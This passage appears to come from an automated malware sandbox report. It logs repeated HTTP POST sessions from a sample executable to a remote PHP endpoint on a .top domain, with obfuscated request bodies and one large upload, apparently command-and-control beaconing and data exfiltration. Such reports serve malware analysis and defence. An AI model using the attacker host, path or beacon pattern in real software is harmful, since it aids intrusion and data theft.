15	192.168.2.4	49756	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:28.065671921 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:28.417445898 CET	2536	OUT	Data Raw: 55 58 59 58 5a 42 5c 57 5a 59 51 55 5a 5a 50 51 55 54 5b 5e 55 55 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UXYXZB\WZYQUZZPQUT[^UUT[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%?>]?3'^5 <'& %+9Y'!_6/)9%,#4U':4%[/ Q-0
Jan 7, 2025 11:57:28.730254889 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:28.913186073 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:29.103249073 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:29.448698044 CET	2536	OUT	Data Raw: 55 58 59 59 5f 41 59 5a 5a 59 51 55 5a 5b 50 5d 55 51 5b 5c 55 56 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UXYY_AYZZYQUZ[P]UQ[\UVTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<%?^!0/\&573;>06!.,V>''<4\ 0]:%[/ Q-
Jan 7, 2025 11:57:29.757549047 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:29.889111996 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:30.064829111 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:30.417532921 CET	2536	OUT	Data Raw: 55 5d 5c 58 5f 49 5c 55 5a 59 51 55 5a 58 50 56 55 5f 5b 58 55 51 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\X_I\UZYQUZXPVU_[XUQT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+":]?,5 8$&?'8)\0<!X".3*9'$<^ 0 :%[/ Q-8
Jan 7, 2025 11:57:30.705317020 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:30.839889050 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:30.990420103 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:31.339304924 CET	2536	OUT	Data Raw: 55 5d 5c 5d 5f 49 59 5a 5a 59 51 55 5a 58 50 53 55 55 5b 5e 55 53 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\]_IYZZYQUZXPSUU[^USTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%^+W"\(0?53<'5<T3"$=!> U=<T%?4#3;.%[/ Q-8
Jan 7, 2025 11:57:31.637020111 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:31.773108006 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:31.930207968 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:32.276842117 CET	2536	OUT	Data Raw: 50 58 5c 5f 5a 43 59 55 5a 59 51 55 5a 5f 50 56 55 50 5b 5d 55 51 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PX\_ZCYUZYQUZ_PVUP[]UQTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<<0<"3$$60'"$&#>3(9$$'#^-$%[/ Q-$
Jan 7, 2025 11:57:32.587357044 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:32.718866110 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:32.878413916 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:33.229931116 CET	2536	OUT	Data Raw: 50 5b 5c 5b 5f 49 59 54 5a 59 51 55 5a 58 50 55 55 57 5b 5b 55 52 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P[\[_IYTZYQUZXPUUW[[URTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<:]?#'_ 3/Z'5<$;&3?5!= =)$W'?(X7,$%[/ Q-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:33.393003941 CET	286	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 253252 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:33.745734930 CET	12360	OUT	Data Raw: 55 5f 59 5c 5f 47 5c 55 5a 59 51 55 5a 58 50 57 55 54 5b 5c 55 55 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_Y\_G\UZYQUZXPWUT[\UUT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%?""]+3']60,$3:0<5X"=$V(*<0?4 0,,$%[/ Q-8
Jan 7, 2025 11:57:33.750965118 CET	22248	OUT	Data Raw: 3e 38 26 3e 3f 03 3f 21 00 2d 53 13 32 25 53 3b 35 53 02 3e 08 03 1d 15 3e 5c 23 08 30 32 1d 01 3a 3f 03 07 0f 52 3f 1f 34 25 0c 2b 26 02 3d 3e 3b 2f 06 3e 34 25 1d 5f 39 3c 32 20 08 02 28 54 0c 2a 3d 23 3d 5f 5a 11 26 2e 1a 3f 3d 2f 0f 41 24 3a Data Ascii: >8&>??!-S2%S;5S>>\#02:?R?4%+&=>;/>4%_9<2 (T=#=_Z&.?=/A$:+^:!8;99 9.=97V9#:1R0>W?]8)'$XHY"-;V)9#?>Z;#+_-1>%;5>X-;%)D/$88<>[ 0)< (4V(?&=4C568<.PYP;&#$79
Jan 7, 2025 11:57:33.751198053 CET	2472	OUT	Data Raw: 06 51 34 59 3a 56 1a 54 31 0b 25 57 0a 25 26 5f 39 0b 3f 2a 3e 2c 07 31 3b 3b 0f 55 08 31 37 3a 02 07 24 17 30 27 3b 5c 03 51 30 2e 26 5b 33 2f 3f 26 3f 20 30 06 24 5a 24 06 29 04 36 25 33 2a 0f 36 2e 1e 24 3e 00 1f 3d 3d 06 1f 37 3e 05 32 0d 5b Data Ascii: Q4Y:VT1%W%&_9?>,1;;U17:$0';\Q0.&[3/?&? 0$Z$)6%36.$>==7>2[86<==?5)+&,X$<$9;?&(13+0_2#38871S9V)$26$+-=?8""U[:4? ;:?!X?-)]$,<UPU&6/3:6( ? >]')$!->V3[?-.3^.1Z731<>\0.
Jan 7, 2025 11:57:33.755853891 CET	9888	OUT	Data Raw: 05 2e 5c 34 39 59 38 5d 39 0a 50 5c 36 0a 36 3a 3a 5c 16 2f 3b 39 21 1e 2b 3a 01 25 26 31 2c 12 36 38 1d 32 2a 02 0e 09 2d 07 3a 59 36 34 02 08 3b 02 16 31 27 34 22 55 3c 31 10 21 28 33 26 5e 0f 24 30 1f 09 3f 06 1a 3a 59 0d 03 31 00 51 5f 3b 0e Data Ascii: .\49Y8]9P\66::\/;9!+:%&1,682-:Y64;1'4"U<1!(3&^$0?:Y1Q_;=%=0X.#=U7994!$! >=U;>79S16$9+,,,#)=(?%-%;?6:&02Z$Y(=X&06>7$ ,>,<+^?Y9]0X(:Z\#"?3]<V?-&=1(&1#B
Jan 7, 2025 11:57:33.755933046 CET	4944	OUT	Data Raw: 26 2d 3b 1a 2a 5c 2b 2f 0e 05 2d 1e 39 2b 20 15 0b 05 13 54 05 01 2c 1f 3a 02 1e 25 3c 33 3e 00 15 29 27 1c 0a 2a 13 27 09 3d 2f 2f 31 38 1e 1d 01 07 29 55 34 2a 3a 3d 3d 15 35 3c 3c 1f 31 15 22 59 26 19 32 09 03 37 3f 1d 02 1b 38 08 20 3b 3a 36 Data Ascii: &-;\+/-9+ T,:%<3>)''=//18)U4:==5<<1"Y&27?8 ;:6 ';+8ZAZ?/]P3$@925W 2<;7.>+(/&9<^X=4->^<88+$- _24 4V)20>;(;Z\35Y:?%0&X=77:#42Z?^'>>;>6.-9_.+',=%<C(4$.4')7W)T9><
Jan 7, 2025 11:57:33.796535969 CET	34608	OUT	Data Raw: 0b 37 3c 56 0f 2b 1c 1a 0b 2e 14 05 0d 5b 27 37 28 39 27 1e 3f 05 23 5c 3b 3f 28 14 2d 32 5d 2e 31 28 2c 25 0c 24 0f 55 30 5e 50 5d 0a 54 12 3a 06 38 3f 18 05 29 30 1f 00 5a 21 23 3a 0a 30 0b 3c 02 30 30 33 5e 1b 3d 05 33 00 2e 34 0e 13 04 0e 2a Data Ascii: 7<V+.['7(9'?#\;?(-2].1(,%$U0^P]T:8?)0Z!#:0<003^=3.4V-0= @(Y%^:-/&6Q/3=V61)<==33Z?>8T,'5<<017S-6_%9Y0;;<T[1#;.;B>?!+Y08DY;-+)(;-190:='Z>:&<\7;=_+3U8=)'X1-089)?"!%"
Jan 7, 2025 11:57:33.846276045 CET	1236	OUT	Data Raw: 32 05 23 3a 00 24 20 20 06 07 36 5b 0f 40 02 29 08 2d 20 34 24 29 17 31 07 57 0b 12 03 0c 0b 1b 39 06 30 17 0d 3f 57 59 0e 3d 5c 36 31 23 22 04 22 33 3d 14 3d 01 54 30 33 50 05 2a 27 0d 53 2b 35 08 21 0c 3a 27 21 28 09 08 05 3d 3e 05 32 1b 39 06 Data Ascii: 2#:$ 6[@)- 4$)1W90?WY=\61#""3==T03P'S+5!:'!(=>29S:?R4-,?,#6R888U&;AT- 6$-&%!11+[93";=8<,"+Z4(310.>#2((\8_=2/.<:<<)&-\V#">W&2&7WR8< X,$:':5:?:)7(;'?0 .?-_
Jan 7, 2025 11:57:33.862341881 CET	53148	OUT	Data Raw: 3d 07 2a 1a 38 5a 04 33 08 3f 3b 10 34 39 24 11 3f 11 1d 00 20 57 27 5c 2f 54 3a 37 31 3b 3c 5d 26 34 5d 2c 30 26 0d 1a 25 21 2f 11 33 28 37 2c 2a 02 30 08 2d 3d 0b 01 22 43 2c 52 0b 3c 52 56 0c 28 07 35 33 56 3a 02 2b 55 0f 27 0b 29 5f 3d 32 11 Data Ascii: =8Z3?;49$? W'\/T:71;<]&4],0&%!/3(7,0-="C,R<RV(53V:+U')_=2VX"2(Y%9VT//31RT/> 2-T[9>9?_U <?X8T5S;6P$-\.;=<.%;-#$Y1/Y#(#.X6+^";0( 19Y).@+(<_&8.W?"':,$+>9V>:=!;1='><.
Jan 7, 2025 11:57:33.867280960 CET	9888	OUT	Data Raw: 27 06 39 3d 20 51 2b 34 20 39 2e 10 0f 02 2e 5a 3b 04 02 1e 3c 00 3b 5c 22 5a 25 1a 39 2a 24 29 36 14 29 22 06 02 12 1e 08 3d 0e 21 09 3c 32 1e 25 2a 48 35 39 03 2d 31 0b 08 1d 05 24 39 24 2d 34 3c 5d 55 29 16 2e 1d 0a 5f 52 3e 08 30 31 0c 29 00 Data Ascii: '9= Q+4 9..Z;<;\"Z%9$)6)"=!<2%H59-1$9$-4<]U)._R>01)X/+9 8!=7?U<:'=A(8(T=+^9/&19Y-_?;"=+=T;;&):(93-8@$\-5V:)36X'(W>9-+.>VRY/(5+;$3Z0 )&S&]9#5<S). "=;70B.%
Jan 7, 2025 11:57:33.867357016 CET	4944	OUT	Data Raw: 0b 07 2c 17 0c 07 5a 09 05 21 39 13 02 54 3e 1d 09 5d 24 2f 25 01 1d 59 21 30 37 04 3d 33 2e 39 38 0e 0b 0f 3c 06 2c 12 36 35 24 13 0a 54 06 3f 3d 56 13 12 0d 36 18 5e 08 30 33 24 23 2f 0c 18 22 06 3a 2d 3a 04 05 0f 01 00 2c 10 29 42 1a 5b 32 0f Data Ascii: ,Z!9T>]$/%Y!07=3.98<,65$T?=V6^03$#/":-:,)B[2[;;!2;T>'<-.65T99& %'1'[8<#>\:(4+89X8,<3';5('?$8*,"2Y3,^:/]=$;S/::-;=3^18;)?P9/Y=>.??25 9< "2YY6V1_%=Y#(3?2W$/_;
Jan 7, 2025 11:57:34.049638987 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:34.999269962 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W
Jan 7, 2025 11:57:34.999677896 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue
Jan 7, 2025 11:57:35.193902969 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:35.765918016 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 00 23 34 38 09 27 2e 38 0f 30 01 2e 56 29 21 2d 10 3f 30 3d 01 24 28 2f 57 27 2f 28 01 22 02 23 1b 2b 3f 31 5c 22 20 2e 12 26 39 28 5c 00 1b 27 03 27 0c 05 54 2b 22 04 54 32 37 2a 5f 31 31 38 14 22 3d 2e 50 22 17 21 56 22 3d 0a 50 3a 07 27 1f 28 0a 0d 14 39 51 20 01 34 13 20 51 0d 17 38 1a 27 2e 09 02 33 05 26 59 36 34 37 08 37 1b 39 12 24 2c 2e 5b 25 3d 24 01 3c 29 3b 02 35 02 39 14 36 38 2c 0e 35 29 32 53 29 06 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %#48'.80.V)!-?0=$(/W'/("#+?1\" .&9(\''T+"T27*_118"=.P"!V"=P:'(9Q 4 Q8'.3&Y64779$,.[%=$<);5968,5)2S)#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:33.533672094 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:33.886233091 CET	2536	OUT	Data Raw: 50 5f 59 58 5f 45 59 5b 5a 59 51 55 5a 5e 50 5c 55 52 5b 52 55 5e 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_YX_EY[ZYQUZ^P\UR[RU^TRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?Z< !V,'0'(\3<6R( $+## 94%[/ Q-
Jan 7, 2025 11:57:34.179107904 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:34.312792063 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:34.433623075 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:34.792484045 CET	2536	OUT	Data Raw: 50 5f 5c 58 5a 43 59 50 5a 59 51 55 5a 5a 50 52 55 5e 5b 53 55 5f 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_\XZCYPZYQUZZPRU^[SU_T\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(&<3;5?]$#0;:$)[";=(W$,<^ 0<,$%[/ Q-0
Jan 7, 2025 11:57:35.148929119 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:35.284748077 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:35.403752089 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:35.761225939 CET	2536	OUT	Data Raw: 55 5d 5c 5f 5f 45 59 51 5a 59 51 55 5a 54 50 55 55 53 5b 52 55 54 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\__EYQZYQUZTPUUS[RUTT\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(9(< /36(T386$=X!=8W(9T3 3(-$%[/ Q-
Jan 7, 2025 11:57:36.068006039 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:36.201128960 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:36.329957962 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:36.683250904 CET	2536	OUT	Data Raw: 55 5d 5c 5c 5a 43 59 53 5a 59 51 55 5a 5d 50 52 55 53 5b 52 55 56 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\\ZCYSZYQUZ]PRUS[RUVT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(? 0/Y0'^9Y',16>,T*$?;#;.%[/ Q-,
Jan 7, 2025 11:57:36.991569042 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:37.123913050 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:37.250382900 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
